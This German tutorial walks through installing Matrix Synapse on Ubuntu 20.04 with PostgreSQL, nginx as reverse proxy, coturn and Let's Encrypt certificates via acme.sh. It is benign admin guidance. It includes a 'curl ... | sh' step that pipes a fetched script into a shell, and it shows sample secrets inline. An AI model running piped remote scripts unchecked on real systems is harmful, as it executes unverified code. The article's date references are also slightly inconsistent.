Matrix Synapse auf Ubuntu Server 20.04 LTS mit nginx, PostgreSQL und Let’s Encrypt

Matrix Logo

Matrix ist ein offener Standard für dezentrale Echtzeitkommunikation. Im Gegensatz zu den bekannten Messenger-Diensten wie Threema, Signal oder auch WhatsApp gibt es hier nicht den einen Hersteller, der ein zentralisiertes System bereit stellt, sondern Matrix verfolgt den dezentralen Ansatz („Federation“): Dabei vernetzen sich eine Vielzahl an Servern zu einem großen Netzwerk. Ein Benutzer kann sich hier bei einem beliebigen Server registrieren, ist dann aber in der Kommunikation nicht auf diesen Server beschränkt, d.h. es kann auch mit Benutzern anderer Matrix-Server kommuniziert werden.

Der folgende Artikel zeigt die Installation und Konfiguration eines Matrix Synapse Servers auf Ubuntu Server 20.04 mit nginx, PostgreSQL und Let’s Encrypt.

Update-Historie (letztes Update: 18.06.2021)
  • 18.06.2021:
    • Konfiguration acme.sh, so dass immer Zertifikate über Let’s Encrypt bezogen werden.
  • 21.03.2021:
    • Anpassungen am vHost für Matrix Synapse (Header X-Forwarded-Proto)

Voraussetzungen/Ziele

Matrix selbst besteht aus mehreren Komponenten, daher sollten hier zunächst einmal ein paar Begriffe geklärt werden.

  • Matrix ist zunächst nur einmal ein offener Standard eines Kommunikationsprotokolls. Daher gibt es auch nicht „die eine“ Server-/Client-Implementierung.
  • Matrix Synapse ist eine Server-Implementierung des Matrix-Protokolls. Synapse ist dabei mehr oder weniger die Referenz-Implementierung. Daneben gibt es aber bereits auch weitere Implementierungen eines Servers (z.B. Dendrite). In diesem Artikel konzentrieren wir uns allerdings nur auf Synapse.
  • Element ist eine Client-Implementierung für Matrix. Dieses Programm ist auf allen mobilen und Desktop-Plattformen erhältlich. Ebenso gibt es eine Web-Implementierung. Mit jeder Instanz von Element/Web bekommt man Zugriff auf das Matrix-Netzwerk.
    Auch wenn Element vermutlich der populärste Client ist, gibt es bereits eine ganze Menge anderer Clients.

Matrix Synapse nutzt „out of the Box“ eine SQLite-Datenbank. Diese ist allerdings nicht sehr performant, daher sollte hier auf ein „echtes“ Datenbank-System gesetzt werden. Daher installieren und konfigurieren wir im Rahmen des Artikels auch gleich PostgreSQL als Datenbank für Matrix Synapse.

Folgende Programme kommen hier zum Einsatz:

  • Ubuntu Server 20.04 LTS („Focal Fossa“)
  • Matrix Synapse 1.26.0
  • nginx 1.19.6 (aus dem offiziellen nginx-Repository)
  • PostgreSQL 12.5
  • acme.sh (für TLS-Zertifikate)

Im Rahmen des Artikels nutze ich folgende beispielhafte Domain für Matrix Synapse: matrix.meinedomain.de

Vorbereitungen

Als erstes bringen wir das Betriebssystem auf den neusten Stand:

apt update && apt upgrade -V && apt dist-upgrade && apt autoremove 
reboot

Nach dem Reboot verschaffen wir uns erst einmal Root-Rechte für diese Session:

sudo -s

Als nächstes richten wir gleich noch die Firewall ufw ein. Diese ist auf einem Ubuntu-System standardmäßig bereits installiert. Sollte dies nicht der Fall sein, kann man dies nun nachholen:

apt update && apt install ufw

Die Firewall sollte sämtlichen eingehenden Traffic blockieren, mit folgenden Ausnahmen:

  • SSH (Port 22): Hier darf die Firewall die SSH-Verbindung natürlich nicht blocken, sonst sperren wir uns hier aus dem System aus.
  • HTTP/HTTPS (Port 80/443): Diese Ports werden für die Erstellung der TLS-Zertifikate (80) und die Kommunikation mit Matrix Synapse (443) benötigt.

Mit folgenden Befehlen wird die Firewall entsprechend konfiguriert:

ufw default deny
ufw allow 22
ufw allow 80
ufw allow 443
ufw enable

Nach dem Setzen der Regeln und Aktivierung der Firewall kann der Status nochmals überprüft werden:

ufw status

Hinweis: Wenn auf dem Server weitere Anwendungen installiert sind, die über andere Ports laufen, sind diese natürlich auch an der Firewall zu berücksichtigen.

Installation Matrix Synapse

Nach diesen Vorarbeiten kann Matrix Synapse auch schon installiert werden. Hier installieren wir die Voraussetzungen für den Server und fügen die Matrix-Paketquellen und den dazu gehörenden Repository-Key hinzu. Am Ende wird Matrix Synapse selbst installiert:

apt install -y lsb-release wget apt-transport-https
echo "deb [signed-by=/usr/share/keyrings/matrix-org-archive-keyring.gpg] https://packages.matrix.org/debian/ $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/matrix-org.list
wget -O /usr/share/keyrings/matrix-org-archive-keyring.gpg https://packages.matrix.org/debian/matrix-org-archive-keyring.gpg
apt update && apt install matrix-synapse-py3

Nach der Installation wird der Dienst konfiguriert, so dass dieser beim Systemstart automatisch gestartet wird:

systemctl start matrix-synapse
systemctl enable matrix-synapse

Konfiguration Matrix Synapse

Nun geht es daran, Matrix zu konfigurieren.
Dazu erzeugen wir uns erst einmal ein „Registrierungs-Secret“:

cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1

Anschließend wird die Konfigurations-Datei von Matrix Synapse geöffnet:

nano /etc/matrix-synapse/homeserver.yaml

Diese Datei ist sehr umfangreich, da hier viele Einstellungen konfiguriert werden können. Alle Optionen und Möglichkeiten sind hier aber sehr gut dokumentiert, so dass man sich durchaus die Zeit nehmen sollte, die Datei einmal komplett durch zugehen und die entsprechenden Einstellungen vorzunehmen.
Die wichtigsten Punkte sollten hier allerdings folgenden sein (am besten mit STRG+W nach den Variablen-Namen suchen):

public_baseurl: https://matrix.meinedomain.de/

Dies definiert den Namen des Matrix Synapse-Servers und ist einfach die URL unter der der Server aufgerufen wird.

max_upload_size: 50M

Maximale Dateigröße für Uploads (dies muss später dann auch in nginx konfiguriert werden).

url_preview_enabled: true

Dies sorgt dafür, dass in einem Chat gepostete URLs als Vorschau angezeigt werden, wie man es aus anderen Messengern kennt. Wenn diese Option aktiviert wird, muss noch eine andere Variable gesetzt werden:

url_preview_ip_range_blacklist:
  - '127.0.0.0/8'
  - '10.0.0.0/8'
  - '172.16.0.0/12'
  - '192.168.0.0/16'
  - '100.64.0.0/10'
  - '169.254.0.0/16'
  - '::1/128'
  - 'fe80::/64'
  - 'fc00::/7'
  - '192.168.178.0/24'

Dies sind IP-Adress-Bereiche, die von den URL-Reviews ausgeschlossen werden. Neben den Default-Werten sollten hier auch alle lokalen IP-Adressen ausgeschlossen werden (hier 192.168.178.0/24), da dies sonst ein Sicherheitsrisiko darstellen kann.

enable_registration: false

Wird diese Option auf false gesetzt, können sich keine neuen User selbstständig registrieren. Wer den Matrix Synapse-Server allerdings als öffentliche Instanz (d.h. dass sich neue Benutzer selbstständig registrieren können) betreiben will, sollte diese Option auf true setzen.

registration_shared_secret: SECRET

Zur Registrierung des ersten (Admin-)Accounts muss dieses Registration Secret (welches wir weiter oben erzeugt hatten) angegeben werden. Dies ist besonders wichtig, wenn die allgemeine Registrierung abgeschaltet wurde (siehe vorherige Option).

enable_metrics: false
report_stats: false

Diese beiden Optionen sorgen dafür, dass keine Metriken gesammelt werden und auch nicht übermittelt werden.

email:
  smtp_host: smtp.meinedomain.de
  
  smtp_port: 587
  
  smtp_user: "user"
  smtp_pass: "password"

  require_transport_security: true

  notif_from: "Your Friendly %(app)s homeserver <noreply@meinedomain.de>"

Diese Optionen sind nur erforderlich, wenn der Matrix-Server E-Mails versenden können soll. Dies ist v.a. dann hilfreich, wenn ein Benutzer sein Passwort vergessen haben sollte, denn für die Wiederherstellung wird eine Bestätigung per E-Mail versendet. Wenn der Matrix-Server keine E-Mail senden kann, kann ein User daher sein Passwort nicht mehr wiederherstellen.
Die Daten, die hier anzugeben sind, müssen natürlich einem echten STMP-Server entsprechen.

push:
  include_content: false

Hier geht es in erster Linie um Datenschutz. Wenn include_content auf true gesetzt wird, wird der Inhalt von Nachrichten über die Google-/Apple-Push-Services geleitet. Wer dies nicht möchte, stellt diese Option auf false: Push-Benachrichtigungen funktionieren dann immer noch, allerdings werden hier dann keine Inhalte von Nachrichten mehr an Google/Apple übermittelt.

Dies sind bei weitem noch nicht alle Konfigurations-Optionen, sollte aber einen guten Startpunkt bieten.

Damit die Änderungen übernommen werden, muss Matrix einmal neu gestartet werden:

service matrix-synapse restart

PostgreSQL für Matrix Synapse konfigurieren

Matrix Synapse nutzt direkt nach der Installation SQLite als Datenbank. Dieses Datenbanksystem ist allerdings mehr für Demo-Zwecke geeignet, da die Performance hier eher schlecht ist. Für einen produktiven Betrieb sollte auf jeden Fall ein „richtiges“ Datenbanksystem zum Einsatz kommen. Neben SQLite unterstützt Matrix Synapse hier auch PostgreSQL, welches nun im Folgenden eingerichtet wird.

Dies sollte auf jeden Fall vor dem Anlegen des ersten Users geschehen, damit man sich die Migration von SQLite auf PostgreSQL sparen kann.

Die Installation gestaltet sich zunächst einmal sehr einfach:

apt update && apt install postgresql python3-psycopg2

Nun wird ein entsprechender User und eine Datenbank für Matrix Synapse angelegt. Dazu wechseln wir zunächst einmal auf den PostgreSQL-User:

su - postgres

Nun wird noch die PostgreSQL-Kommandozeile aufgerufen:

psql

Nun wird zunächst der Datenbank-Benutzer angelegt (das Passwort muss an dieser Stelle natürlich abgeändert werden):

CREATE USER "synapse_db_user" WITH PASSWORD 'MeInPassSw0rT';

Danach folgt die Anlage der Datenbank selbst:

CREATE DATABASE synapse_db
 ENCODING 'UTF8'
 LC_COLLATE='C'
 LC_CTYPE='C'
 template=template0
 OWNER synapse_db_user;

Danach kann die PostgreSQL-Kommandozeile verlassen werden:

\q

Am Schluss erfolgt die Abmeldung des PostgreSQL-Users:

exit

Damit Synapse nun auch PostgreSQL nutzt, muss hier noch die Konfiguration angepasst werden:

nano /etc/matrix-synapse/homeserver.yaml

Hier wird zunächst einmal die Konfiguration für SQLite auskommentiert und direkt dahinter die Anweisungen für PostgreSQL hinzugefügt (das Passwort ist natürlich wieder mit dem Passwort des Synapse-DB-Benutzers zu ersetzen):

#database:
#  name: sqlite3
#  args:
#    database: /path/to/homeserver.db
#
#
# Example Postgres configuration:
#
database:
  name: psycopg2
  args:
    user: synapse_db_user
    password: MeInPassSw0rT
    database: synapse_db
    host: localhost
    cp_min: 5
    cp_max: 10

Nach einem Neustart des Dienstes wird ab nun PostgreSQL als Datenbank für Matrix Synapse genutzt:

service matrix-synapse restart

Optional: Optimieren der PostgreSQL-Umgebung

PostgreSQL kann nun noch auf das jeweilige System „zugeschnitten“ werden. Einen guten Startpunkt hierfür liefert die Seite PGTune: Hier muss man einfach nur die jeweiligen Werte des Systems eintragen und erhält Anweisungen, wie PostgreSQL auf das System optimiert werden kann.

Die Einstellungen sind hier in der Datei /etc/postgresql/12/main/postgresql.conf durchzuführen.

Damit die Änderungen übernommen werden, wird das Datenbank-System einmal neu gestartet:

service postgresql restart

Optional: Nutzung von coturn für STUN/TURN

Matrix unterstützt ebenfalls Audio- und Videoanrufe. Damit dies auch netzwerkübergreifend funktioniert, wird in den meisten Fällen ein STUN/TURN-Server benötigt. STUN (Session Traversal Utilities for NAT) sorgt einfach ausgedrückt dafür, dass ein Client aus dem LAN seine öffentliche IP-Adresse ermitteln kann. TURN (Traversal Using Relays around NAT) sorgt wiederum dafür, dass Clients ohne eine direkte Verbindung Daten austauschen können. Ein TURN-Server wirkt hier dann als Relay Server.

Wie schon bei anderen Server-Programmen für Audio-/Videokonferenzen, kann hier coturn als STUN/TURN-Server genutzt werden. Zur Installation und Konfiguration von coturn gab es hier im Blog bereits einen umfangreichen Artikel: Nextcloud Talk mit eigenem TURN-Server (coturn)
Dieser zeigt die Einrichtung zwar für Nextcloud Talk, aber die Einstellungen unterscheiden sich nicht für Matrix Synapse.

Um einen eigenen coturn-Server aufzusetzen, kann daher der oben genannte Artikel genutzt werden. Auf der Seite von Matriyx Synapse muss dann der coturn-Server lediglich in den Einstellungen hinterlegt werden:

nano /etc/matrix-synapse/homeserver.yaml

Hier sind dann folgende zwei Einstellungen vorzunehmen:

turn_uris: ["turn:turn.meinedomain.de:5349?transport=udp", "turn:turn.meinedomain.de:5349?transport=tcp"]
turn_shared_secret: "4bc5bef7e62e795bab2b14a53519fe90235bf5f5045264567c5c1e90f501ecb2"

Hier gehe ich davon aus, dass coturn über die Domain turn.meinedomain.de auf Port 5349 (TCP und UDP) erreichbar ist. Das turn_shared_secret ist dabei das „Secret“, welches in der Konfiguration von coturn angegeben wird (hier heißt die Variable static-auth-secret) und muss hier wie schon die Domain individuell angepasst werden.

Am Ende fehlt nur noch der Neustat von Matrix Synapse:

service matrix-synapse restart

nginx als Webserver für Matrix Synapse

Bis hierhin läuft Synapse erst einmal rein lokal. Damit der Server auch über das Internet erreichbar wird, wird der Webserver nginx als Reverse Proxy vor die Synapse-Instanz gestellt. Zwar könnte man Synapse auch so aufsetzen, dass dieser die Anfragen auch selbst bearbeiten kann, die Konfiguration wäre hier aber etwas umständlicher. nginx als Reverse Proxy ist hier sehr einfach zu installieren und wer bereits ein wenig Erfahrung mit nginx hat, wird sich hier sehr leicht tun.

Installation nginx

Bei nginx nutze ich nicht die Paketquellen von Ubuntu selbst, da die verwendete nginx-Version hier doch schon recht alt ist. Um hier auf einem aktuelleren Stand zu sein, binden wir die Paketquellen aus dem offiziellen nginx-Repository ein. Hier nutze ich immer die sog. „Mainline“, da dies der stabilste Branch von nginx ist.

Dazu machen wir zunächst den Key des Repositories auf dem System bekannt:

wget -O - http://nginx.org/keys/nginx_signing.key | apt-key add -

Anschließend werden die Paketquellen selbst eingebunden:

nano /etc/apt/sources.list.d/nginx.list

In diese Datei fügen wir dann folgende Zeilen hinzu:

# Nginx (Mainline)
deb [arch=amd64] http://nginx.org/packages/mainline/ubuntu/ focal nginx
deb-src [arch=amd64] http://nginx.org/packages/mainline/ubuntu/ focal nginx

Nun kann auch schon der Webserver installiert werden:

apt update && apt install nginx

Grundkonfiguration nginx

Direkt nach der Installation des Webservers sollte die allgemeine Konfiguration überarbeitet/optimiert werden:

nano /etc/nginx/nginx.conf

Hier sollten folgende Einstellungen angepasst/kontrolliert werden:

  • user: Der User, unter dem der Webserver läuft. Dies sollte immer www-data sein.
  • worker_processes: Die Anzahl der Threads, die nginx zum Abarbeiten von Client-Request verwendet. Die optimale Einstellung ist hier auto, da nginx dann pro CPU-Kern einen Thread verwendet.
  • server_tokens: Diese Einstellung sollte auf off gesetzt werden, damit nginx keine Versions-Informationen preisgibt (z.B. auf Fehlerseiten). Wenn diese Variable nicht vorhanden ist, muss man diese im HTTP-Block der Datei einfügen: server_tokens off;

Danach kann auch gleich der Default-vHost deaktiviert werden, da dieser nur eine Demo-Seite für nginx bereit stellt. Ebenso wird der Webserver zur Übernahme der Änderungen neu gestartet:

mv /etc/nginx/conf.d/default.conf /etc/nginx/conf.d/default.conf_disabled 
service nginx restart

TLS-Zertifikate über Let’s Encrypt

Matrix Synapse sollte nach der Installation ausschließlich über über eine HTTPS-gesicherte Verbindung nutzbar sein. Dazu bedarf es zunächst einmal gültiger TLS-Zertifikate.
Ich nutze hier immer Zertifikate von Let’s Encrypt. Als Client für Let’s Encrypt kommt hier acme.sh zum Einsatz.

Um hier technisch auf dem neusten Stand zu sein, kommen hier ECDSA- und RSA-Zertifikate im Hybrid-Betrieb zum Einsatz. Außerdem sollte TLSv1.3 genutzt werden.
Hintergrundinformationen zu diesem Themen sind den folgenden Artikeln zu entnehmen:

Weil Let’s Encrypt nicht als Root-User ausgeführt werden sollte, legen wir zunächst einen speziellen Benutzer auf dem System an:

adduser letsencrypt

Für diesen Benutzer muss kein Passwort vergeben werden (einfach leer lassen). Ebenso braucht man keine weiteren Infos angeben (alles mit Enter bestätigen), da dies ein rein lokaler Benutzer ist, mit dem man sich im Normalfall nicht anmeldet.

Anschließend wird dieser User dann noch der Gruppe www-data hinzugefügt:

usermod -a -G www-data letsencrypt

Der Let’s Encrypt Benutzer braucht darüber hinaus noch die Rechte, den Webserver (nginx) neu laden zu können. Dies wird mittels visudo eingerichtet:

visudo

Ganz am Ende der Datei wird nun folgende Zeile hinzugefügt. Anschließend speichern und den Editor verlassen.

letsencrypt ALL=NOPASSWD: /bin/systemctl reload nginx.service

Nun kann man sich auch schon mit dem neuen Benutzer anmelden:

su - letsencrypt

Der Let’s Encrypt Client acme.sh wird dann einfach mit folgendem Befehl installiert:

curl https://get.acme.sh | sh

Nach der Installation sollte man sich mit dem entsprechenden User einmal ab- und wieder anmelden:

exit
su - letsencrypt

Danach kann acme.sh gleich so konfiguriert werden, dass Zertifikate über Let’s Encrypt ausgestellt werden. Seit dem 01.08.2021 nutzt acme.sh standardmäßig Zertifikate von ZeroSSL (siehe hier). Dieses Standard-Verhalten kann allerdings ganz einfach geändert werden:

acme.sh --set-default-ca --server letsencrypt

Wenn dies erledigt ist, kann man sich erst einmal mit diesem Benutzer wieder abmelden:

exit

Als nächstes bereiten wir nginx für die Generierung der TLS-Zertifikate vor. Dazu legen wir erst einmal einen neuen virtuelle Host an:

nano /etc/nginx/conf.d/HttpGateway.conf

Der Inhalt des vHost sollte folgendermaßen aussehen:

server {
    listen 80 default_server;
    listen [::]:80 default_server;
    server_name matrix.meinedomain.de 192.168.178.60;
 
    root /var/www;

    location ^~ /.well-known/acme-challenge {
        default_type text/plain;
        root /var/www/letsencrypt;
    }

	location / {
		return 301 https://$host$request_uri;
	}
}

Wichtig ist an dieser Stelle v.a. der server_name: Dies sollte eure Domain sein, unter der Matrix später erreichbar sein soll. Daneben wird noch die lokale IP des Server mit angegeben.
Ansonsten behandelt dieser vHost nur die Anfragen für Let’s Encrypt und leitet sämtlichen anderen Traffic an HTTPS weiter.

Am Schluss muss nginx noch neu gestartet werden:

service nginx restart

Nun wird die Verzeichnisstruktur vorbereitet. Dies betrifft sowohl die Verzeichnisse, in denen später die Zertifikate selbst gespeichert werden, als auch das Web-Verzeichnis für Let’s Encrypt:

mkdir -p /var/www/letsencrypt/.well-known/acme-challenge
chown -R www-data:www-data /var/www/letsencrypt
chmod -R 775 /var/www/letsencrypt
mkdir -p /etc/letsencrypt/matrix.meinedomain.de/rsa
mkdir -p /etc/letsencrypt/matrix.meinedomain.de/ecc
chown -R www-data:www-data /etc/letsencrypt
chmod -R 775 /etc/letsencrypt

Wichtig ist hier v.a., dass der Webserver-User (www-data) Zugriff auf diese Verzeichnisse hat.

Bevor man sich nun an die Generierung der Zertifikate macht, sollte kontrolliert werden, ob die entsprechende URL von außen auch korrekt erreichbar ist.

Dazu legen wir uns im Zielverzeichnis, welches später für die Verifizierung von Let’s Encrypt genutzt wird, eine temporäre Datei an:

echo "Test" >> /var/www/letsencrypt/.well-known/acme-challenge/test.txt

Nun ruft man im Browser einfach folgende URLs auf: http://matrix.meinedomain.de/.well-known/acme-challenge/test.txt

In beiden Fällen sollte hier der Inhalt der Datei („Test“) angezeigt werden:

Test des Webservers vor der Generierung der Zertifikate
Test des Webservers vor der Generierung der Zertifikate

Erst wenn dieser Test erfolgreich abgeschlossen wurde, sollte man mit der Generierung der Zertifikat beginnen!

Als nächstes können die TLS-Zertifikate selbst generiert werden. Dazu wechseln wir erst einmal wieder auf den Let’s Encrypt Benutzer:

su - letsencrypt

Zunächst werden die RSA-Zertifikate erzeugt:

acme.sh --issue -d matrix.meinedomain.de --server letsencrypt --keylength 4096 -w /var/www/letsencrypt --key-file /etc/letsencrypt/matrix.meinedomain.de/rsa/key.pem --ca-file /etc/letsencrypt/matrix.meinedomain.de/rsa/ca.pem --cert-file /etc/letsencrypt/matrix.meinedomain.de/rsa/cert.pem --fullchain-file /etc/letsencrypt/matrix.meinedomain.de/rsa/fullchain.pem --reloadcmd "sudo /bin/systemctl reload nginx.service"

Weiter geht es mit den ECDSA-Zertifikaten:

acme.sh --issue -d matrix.meinedomain.de --server letsencrypt --keylength ec-384 -w /var/www/letsencrypt --key-file /etc/letsencrypt/matrix.meinedomain.de/ecc/key.pem --ca-file /etc/letsencrypt/matrix.meinedomain.de/ecc/ca.pem --cert-file /etc/letsencrypt/matrix.meinedomain.de/ecc/cert.pem --fullchain-file /etc/letsencrypt/matrix.meinedomain.de/ecc/fullchain.pem --reloadcmd "sudo /bin/systemctl reload nginx.service"

An dieser Stelle wird nochmal mittels –server letsencrypt explizit angegeben, dass Zertifikate von Let’s Encrypt erzeigt werden sollen. Dies ist – sofern die Standard-Einstellung von acme.sh geändert wurde (s.o.) – eigentlich überflüssig, schadet an dieser Stelle allerdings auch nicht.

Im Anschluss findet man die Zertifikat-Dateien im Verzeichnis /etc/letsencrypt/matrix.meinedoamin.de/rsa (bzw. /ecc):

  • cert.pem: Das öffentliche Zertifikat in Reinform
  • ca.pem: Öffentliches Zertifikat aus der sog. Keychain
  • fullchain.pem: Entspricht cert.pem + chain.pem
  • key.pem: Privates Zertifikat (diese Datei sollte man daher niemals weitergeben)

Am Schluss erfolgt wieder die Abmeldung mit dem User letsencrypt:

exit

Da Zertifikate von Let’s Encrypt eine Gültigkeit von 90 Tagen haben, müssen diese spätestens nach Ablauf dieser Zeitspanne erneuert werden. Im Rahmen der ersten Generierung der Zertifikate wurde dazu unter dem User letsencrypt ein Cronjob angelegt, der sich automatisch um dieser Erneuerung kümmert.

Kurz vor Ablauf der Gültigkeit werden die Zertifikate automatisch – und ohne Zutun des Benutzers – selbstständig erneuert. Daher braucht man sich in Zukunft nicht mehr selbst um die Zertifikate zu kümmern.

Die Sicherheit des HTTPS-Kommunikation kann noch durch den Einsatz sog. Diffie-Hellman-Parameter weiter erhöht werden. Dies sorgt einfach ausgedrückt für einen Sicheren Schlüsselaustausch beim Verbindungsaufbau über HTTPS.

Achtung: Auf schwächerer Hardware kann die Generierung dieses Schlüssels sehr lange dauern (bis zu einigen Stunden). Wer nicht so lange warten möchte, der kann auch einen Schlüssel mit „nur“ 2048 Bit erzeugen lassen (die Zahl des zweiten Befehls gibt hierbei die Länge des Schlüssels in Bit an).

mkdir -p /etc/nginx/dhparams 
openssl dhparam -out /etc/nginx/dhparams/dhparams.pem 4096

SSL und Header-Konfiguration nginx

Als nächstes legen wir allgemeine SSL- und Header-Konfigurations-Dateien an, die im weiteren Verlauf werden diese dann in den eigentlichen virtuellen Host für Matrix Synapse per „include“ eingebunden.
Dies bietet u.a. den Vorteil, dass beim Hosten weiterer Webanwendungen auf dem gleichen Server diese „Sippets“ wiederverwendet werden können und nicht in jedem vHost separat aufgeführt werden müssen.

Dazu legen wir zunächst ein eigenes Verzeichnis für diese Snippets an:

mkdir -p /etc/nginx/snippets

Wir starten dann mit den allgemeinen SSL-Einstellungen:

nano /etc/nginx/snippets/ssl.conf

Hier wird folgender Inhalt eingefügt, bevor die Datei gespeichert und geschlossen wird:

#
# Configure SSL
#

# Diffie-Hellman parameter for DHE ciphersuites, recommended 4096 bits
ssl_dhparam /etc/nginx/dhparams/dhparams.pem;

# Not using TLSv1 will break:
# Android <= 4.4.40 IE <= 10 IE mobile <=10
# Removing TLSv1.1 breaks nothing else!
ssl_protocols TLSv1.2 TLSv1.3;

# SSL ciphers: RSA + ECDSA
# Two certificate types (ECDSA, RSA) are needed.
ssl_ciphers 'TLS-CHACHA20-POLY1305-SHA256:TLS-AES-256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384';

# Use multiple curves.
ssl_ecdh_curve secp521r1:secp384r1;

# Server should determine the ciphers, not the client
ssl_prefer_server_ciphers on;

# SSL session handling
ssl_session_timeout 1d; 
ssl_session_cache shared:SSL:50m; 
ssl_session_tickets off;

# SSL stapling has to be done seperately, becuase it will not work with self signed certs
# OCSP Stapling fetch OCSP records from URL in ssl_certificate and cache them
ssl_stapling on;
ssl_stapling_verify on;

# DNS resolver
resolver 192.168.178.1;

Ganz unten wird hier auch gleich noch der „resolver“ eingefügt: Mit dieser Variablen wird der DNS-Server angegeben. In diesem Beispiel nutze ich dazu die IP-Adresse der FritzBox (192.168.178.1), welche im Netzwerk als als DNS-Server fungiert..

Analog dazu werden die allgemeinen Header-Informationen angelegt:

nano /etc/nginx/snippets/headers.conf

Hier fügen wir folgenden Inhalt ein:

#
# Add headers to serve security related headers
#  
# HSTS (ngx_http_headers_module is required)
add_header Strict-Transport-Security "max-age=63072000; includeSubdomains; preload;" always; 
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header X-Robots-Tag none always;
add_header X-Download-Options noopen always;
add_header X-Permitted-Cross-Domain-Policies none always;
add_header Referrer-Policy no-referrer always;
add_header X-Frame-Options "SAMEORIGIN" always;

# Remove X-Powered-By, which is an information leak
fastcgi_hide_header X-Powered-By;

Virtueller Host für Matrix Synapse

Nun kann auch schon der eigentliche vHost für Matrix Synapse angelegt werden:

nano /etc/nginx/conf.d/matrix.meinedomain.de.conf

Der Inhalt sieht dabei wie folgt aus:

server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;
    server_name matrix.meinedomain.de;

    #
	# Certificate configuration
    #

    # RSA certificates
    ssl_certificate /etc/letsencrypt/matrix.meinedomain.de/rsa/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/matrix.meinedomain.de/rsa/key.pem;
    # ECC certificates
    ssl_certificate /etc/letsencrypt/matrix.meinedomain.de/ecc/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/matrix.meinedomain.de/ecc/key.pem;

    # This should be ca.pem (certificate with the additional intermediate certifica$
    # See here: https://certbot.eff.org/docs/using.html
    # ECC
    ssl_trusted_certificate /etc/letsencrypt/matrix.meinedomain.de/ecc/ca.pem;

    # Include SSL and header snippets
    include /etc/nginx/snippets/ssl.conf;
    include /etc/nginx/snippets/headers.conf;

    #
    # Matrix Synapse configuration
    #

    # Disable error and access log.
    # This way, no IP will be logged by nginx
    access_log off;
    error_log off;
	
    # Increase timeout values
    # Useful if rooms (on different server) act very slowly. 
    proxy_connect_timeout 300s;
    proxy_send_timeout 300s;
    proxy_read_timeout 300s;

    # If you don't wanna serve a site, comment this out
    #root /var/www/html;
    #index index.html index.htm;

    location /_matrix {
      proxy_pass http://127.0.0.1:8008;
      proxy_set_header X-Forwarded-For $remote_addr;
      proxy_set_header X-Forwarded-Proto $scheme;
      client_max_body_size 50M;
    }

    location /.well-known/matrix/server {
      return 200 '{"m.server": "matrix.meinedomain.de:443"}';
      add_header Content-Type application/json;
    }

    location /.well-known/matrix/client {
      return 200 '{"m.homeserver": {"base_url": "https://matrix.meinedomain.de"}}';
      add_header Content-Type application/json;
      add_header "Access-Control-Allow-Origin" *;
    }
}

Ein besonderes Augenmerk sollte dabei auf folgende Einstellungen gelegt werden:

  • Die Domain lautet hier beispielsweise matrix.meinedomain.de. Diese muss natürlich auf die richtige Domain geändert werden.
  • access_log und error_log werden für Matrix Synapse deaktiviert. Dies macht v.a. Sinn, wenn man Wert auf Datenschutz und Privatsphäre gelegt wird, da auf diese Weise keine IP-Adressen von nginx geloggt werden.
    Wichtig: Wenn es zu Problemen kommen sollte, kann man das error.log (temporär) wieder aktivieren, um die Fehlersuche zu erleichtern.
  • Eine Besonderheit stellt der location-Block für /.well-known/matrix/server dar. Dies ist der Endpunkt, der für die Federation (Server-Server-Kommunikation) genutzt wird. Normalerweise nutzt Matrix hierfür den Port 8448. Die hier gezeigte Variante nutzt dagegen eine sog. Well-Known-URL, die Informationen für den Federation-Endpunkt im JSON-Format zurück liefert. Auf diese Weise kann die Federation-Kommunikation ebenfalls ablaufen. Vorteil dieser Variante ist, dass kein zusätzlicher Port (8448) geöffnet werden muss und ebenfalls kein zweiter vHost für nginx benötigt wird.

Nach dem Anlegen des neuen virtuellen Hosts muss der Webserver noch ein mal neu gestartet werden:

service nginx restart

Funktionstest Matrix Synapse

Die Server-Komponente von Matrix Synapse ist nun fertig eingerichtet. Bevor die Instanz nun „live“ geht, sollten noch zwei Tests durchgeführt werden.

Zum einen sollte sicher gestellt sein, dass die Transportverschlüsselung mittels TLS korrekt eingerichtet ist. Dies betrifft sowohl die Let’s Encrypt Zertifikate, als auch die Konfiguration des Webservers.
Hierzu nutze ich immer gern den SSL Server Test von Qualys SSL Labs. Mit der gezeigten Konfiguration sollte hier auf jeden Fall ein Rating von A+ angezeigt werden.

Qualys SSL Server Test
Qualys SSL Server Test

Zum anderen ist Matrix ja ein dezentrales System, hier spielt also auch die Server-Server-Kommunikation (Federation) eine entscheidende Rolle. Ob hier alles korrekt eingerichtet wurde, kann der Matrix Federation Tester genutzt werden. Mit der Eingabe der Domain (matrix.meinedomain.de) sollte hier zwei mal eine Erfolgsmeldung angezeigt werden:

Matrix Federation Tester
Matrix Federation Tester

Damit ist dann sicher gestellt, dass das Federation-Feature von Matrix ordnungsgemäß funktioniert.

Matrix Synapse User anlegen und Client verbinden

Als nächstes sollte nun der erste (Admin-)User für die neue Matrix-Instanz angelegt werden. Da wir in der Konfiguration von Matrix weiter oben die Registrierung von Benutzern deaktiviert haben, muss dies auf der Kommandozeile mit folgendem Befehl erledigt werden:

register_new_matrix_user -c /etc/matrix-synapse/homeserver.yaml http://localhost:8008

Danach fragt das System nach dem „localpart“. Dies ist quasi der Benutzername auf der Instanz (dazu später mehr). Im Anschluss wird dann ein Passwort und eine Bestätigung gefordert. Ganz am Ende kann dieser Benutzer durch die Eingabe von yes zum Administrator der Matrix-Instanz gemacht werden.
Auf diese Art und Weise lassen sich also beliebig viele Benutzer (mit und ohne Admin-Rechte) anlegen.

Nun kann man sich mit dem soeben angelegten User an der Instanz anmelden. Dazu ist natürlich ein Client notwendig.
Der „offizielle“ Client ist hier Element. Diesen gibt es für alle Plattformen (mobil/Desktop) auf der Website von Element.
Interessant ist aber, dass man eigentlich gar kein Programm/App installieren muss, sondern auch den Web-Client von Element nutzen kann. Die folgenden Schritte werden daher beispielhaft am Web-Client gezeigt, das Vorgehen auf anderen Clients sollte hier analog ablaufen.

